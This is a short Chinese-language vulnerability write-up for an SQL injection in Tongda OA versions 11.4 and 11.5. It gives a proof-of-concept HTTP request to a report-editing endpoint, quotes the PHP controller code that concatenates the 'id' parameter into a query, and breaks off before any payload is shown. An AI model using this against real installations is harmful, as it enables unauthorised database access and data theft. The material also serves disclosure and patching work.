016-通达OA11.5SQL注入漏洞.md
1.55 KB / 2021-07-17 00:01:24
# 通达OA11.5SQL注入漏洞
当时测试的版本是11.4。后来发现11.5也没有修复。其他版本未测试。
通达OA低版本存在多处SQL注入漏洞。很多地方都存在问题。我只发一个，剩下的坛友自己挖掘吧，也许有意想不到的结果。~
**POC**
```bash
GET /general/appbuilder/web/report/repdetail/edit?id=11&link_type=false&slot={} HTTP/1.1
Host: 192.168.1.11
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=42mi9cekm88g7ftbgllua7pl01; USER_NAME_COOKIE=admin; OA_USER_ID=admin; SID_1=ef5494c8
Upgrade-Insecure-Requests: 1
```
需要一个可以登录系统的账号，普通权限即可。
general\appbuilder\modules\report\controllers\RepdetailController.php 函数 actionEdit()
```php
public function actionEdit()
{
Yii::$app->response->format = yii\web\Response::FORMAT_JSON;
$_GET = modules\appdesign\models\AppUtils::toGBK($_GET);
$id = $_GET["id"];
$slot = $_GET["slot"];
$link_type = $_GET["link_type"];
$RepDetail = modules\report\models\RepDetail::find()->where("id=" . $id)->Asarray()->One();
```
注入参数：id
测试可以：
